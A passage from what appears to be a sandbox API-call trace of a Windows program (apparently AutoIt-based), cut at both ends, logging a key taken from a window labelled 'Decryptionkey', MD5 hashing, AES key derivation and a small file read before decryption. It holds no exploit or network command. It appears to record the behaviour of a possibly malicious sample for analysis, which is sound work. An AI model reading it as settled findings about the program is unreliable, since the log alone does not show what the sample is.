wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.884] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0051.884] SendMessageW (hWnd=0x10001e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0051.884] GetWindowTextW (in: hWnd=0x10001e, lpString=0xd72f365780, nMaxCount=14 | out: lpString="Decryptionkey") returned 13 [0051.885] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.886] FindFirstFileW (in: lpFileName="C:\\PROGRA~1\\COMMON~1\\31236356313123635631", lpFindFileData=0xd72f04edb0 | out: lpFindFileData=0xd72f04edb0) returned 0xd72f356e10 [0051.886] FindClose (in: hFindFile=0xd72f356e10 | out: hFindFile=0xd72f356e10) returned 1 [0051.886] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.886] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0051.886] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.886] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0051.886] PeekMessageW (in: lpMsg=0xd72f04ea50, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ea50) returned 0 [0051.887] GetLastError () returned 0x0 [0051.887] SetLastError (dwErrCode=0x0) [0051.887] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.887] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x7ffe2a590000 [0051.891] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.891] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.891] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0051.891] PeekMessageW (in: lpMsg=0xd72f04ed40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ed40) returned 0 [0051.891] PeekMessageW (in: lpMsg=0xd72f04ed40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ed40) returned 0 [0051.891] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.891] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.892] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0051.892] PeekMessageW (in: lpMsg=0xd72f04e7c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e7c0) returned 0 [0051.892] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0051.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0051.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0xd72f37d910, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0051.893] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContext") returned 0x0 [0051.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0051.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0xd72f37dd70, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0051.893] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContextA") returned 0x7ffe2a59f478 [0051.893] CryptAcquireContextA (in: phProv=0xd72f04e7b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xd72f04e7b0*=0xd72f3ad4c0) returned 1 [0051.900] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.900] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.900] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0051.900] PeekMessageW (in: lpMsg=0xd72f04ed40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ed40) returned 0 [0051.900] PeekMessageW (in: lpMsg=0xd72f04ed40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ed40) returned 0 [0051.901] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.901] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.901] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.901] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0051.901] PeekMessageW (in: lpMsg=0xd72f04ed40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ed40) returned 0 [0051.901] PeekMessageW (in: lpMsg=0xd72f04ed40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04ed40) returned 0 [0051.901] PeekMessageW (in: lpMsg=0xd72f04f060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f060) returned 0 [0051.901] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.901] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.901] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.901] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0051.901] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.901] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.901] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0051.901] PeekMessageW (in: lpMsg=0xd72f04e980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e980) returned 0 [0051.901] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0051.901] PeekMessageW (in: lpMsg=0xd72f04e370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e370) returned 0 [0051.901] PeekMessageW (in: lpMsg=0xd72f04e980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e980) returned 0 [0051.901] PeekMessageW (in: lpMsg=0xd72f04e980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e980) returned 0 [0051.901] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0051.902] PeekMessageW (in: lpMsg=0xd72f04e660, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e660) returned 0 [0051.902] PeekMessageW (in: lpMsg=0xd72f04e660, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e660) returned 0 [0051.902] PeekMessageW (in: lpMsg=0xd72f04e980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e980) returned 0 [0051.902] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.902] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.902] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0051.902] PeekMessageW (in: lpMsg=0xd72f04e3f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e3f0) returned 0 [0051.902] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0051.902] PeekMessageW (in: lpMsg=0xd72f04e3f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e3f0) returned 0 [0051.902] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0051.902] CryptCreateHash (in: hProv=0xd72f3ad4c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd72f04e480 | out: phHash=0xd72f04e480) returned 1 [0051.902] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.902] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.902] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.903] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.903] CharLowerBuffW (in: lpsz="byte[13]", cchLength=0x8 | out: lpsz="byte[13]") returned 0x8 [0051.903] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.903] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 1 [0051.909] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04eca0) returned 0 [0051.909] TranslateMessage (lpMsg=0xd72f04eca0) returned 0 [0051.909] DispatchMessageW (lpMsg=0xd72f04eca0) returned 0x0 [0051.909] GetForegroundWindow () returned 0xc018a [0051.909] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.909] GetCursorPos (in: lpPoint=0xd72f04eb00 | out: lpPoint=0xd72f04eb00*(x=871, y=503)) returned 1 [0051.909] ScreenToClient (in: hWnd=0xc018a, lpPoint=0xd72f04eb00 | out: lpPoint=0xd72f04eb00) returned 1 [0051.909] GetAsyncKeyState (vKey=1) returned 1 [0051.909] GetAsyncKeyState (vKey=2) returned 0 [0051.909] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.909] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0051.909] PeekMessageW (in: lpMsg=0xd72f04e3f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e3f0) returned 0 [0051.910] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0051.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0051.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0xd72f37ddb0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0051.910] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptHashData") returned 0x7ffe2a59e86c [0051.911] CryptHashData (hHash=0xd72f356060, pbData=0xd72f37df90, dwDataLen=0xd, dwFlags=0x1) returned 1 [0051.911] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.912] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.912] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.912] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0051.912] PeekMessageW (in: lpMsg=0xd72f04e3f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e3f0) returned 0 [0051.912] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0051.912] PeekMessageW (in: lpMsg=0xd72f04e3f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e3f0) returned 0 [0051.912] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0051.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0051.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0xd72f37dd50, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0051.913] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDeriveKey") returned 0x7ffe2a5eb060 [0051.913] CryptDeriveKey (in: hProv=0xd72f3ad4c0, Algid=0x660e, hBaseData=0xd72f356060, dwFlags=0x1, phKey=0xd72f04e480 | out: phKey=0xd72f04e480*=0xd72f355ea0) returned 1 [0051.915] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.915] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.915] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.915] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.916] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.916] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0051.916] PeekMessageW (in: lpMsg=0xd72f04e4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e4e0) returned 0 [0051.916] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0051.916] CryptDestroyHash (hHash=0xd72f356060) returned 1 [0051.916] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.916] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.916] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.916] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.916] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.916] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.916] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04ee70, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04ee70*=0) returned 1 [0051.916] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.916] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.916] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.916] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.916] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.917] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.917] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.918] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04ef20, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04ef20*=0) returned 1 [0051.918] ReadFile (in: hFile=0x194, lpBuffer=0xd72f3b6a00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xd72f04ef60, lpOverlapped=0x0 | out: lpBuffer=0xd72f3b6a00*, lpNumberOfBytesRead=0xd72f04ef60*=0x10, lpOverlapped=0x0) returned 1 [0051.918] ReadFile (in: hFile=0x194, lpBuffer=0xd72f3b6a00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xd72f04ef60, lpOverlapped=0x0 | out: lpBuffer=0xd72f3b6a00*, lpNumberOfBytesRead=0xd72f04ef60*=0x0, lpOverlapped=0x0) returned 1 [0051.921] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.921] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.921] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0051.921] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0051.921] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.921] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.921] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0051.921] PeekMessageW (in: lpMsg=0xd72f04e5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e5d0) returned 0 [0051.921] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0051.922] PeekMessageW (in: lpMsg=0xd72f04e5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e5d0) returned 0 [0051.922] PeekMessageW (in: lpMsg=0xd72f04e5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e5d0) returned 0 [0051.922] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0051.922] PeekMessageW (in: lpMsg=0xd72f04dd30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04dd30) returned 0 [0051.922] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0051.922] CryptGetKeyParam (in: hKey=0xd72f355ea0, dwParam=0x7, pbData=0xd72f23a750, pdwDataLen=0xd72f04dd98, dwFlags=0x0 | out: pbData=0xd72f23a750*=0x660e, pdwDataLen=0xd72f04dd98*=0x4) returned 1 [0051.923] PeekMessageW (in: lpMsg=0xd72f04e5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e5d0) returned 0 [0051.923] PeekMessageW (in: lpMsg=0xd72f04e5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e5d0) returned 0 [0051.923] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.923] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.924] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.924] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.924] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.924] PeekMessageW (in: lpMsg=0xd72f04eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04eca0) returned 0 [0051.924] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0051.924] PeekMessageW (in: lpMsg=0xd72f04e980, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e980) returned 0 [0051.924] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0051.924] PeekMessageW (in: lpMsg=0xd72f04e370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e370) returned 0 [0051.924] PeekMessageW (in: lpMsg=0xd72f04e980, hWnd=0x0, wMsgFilterMin=0x0, 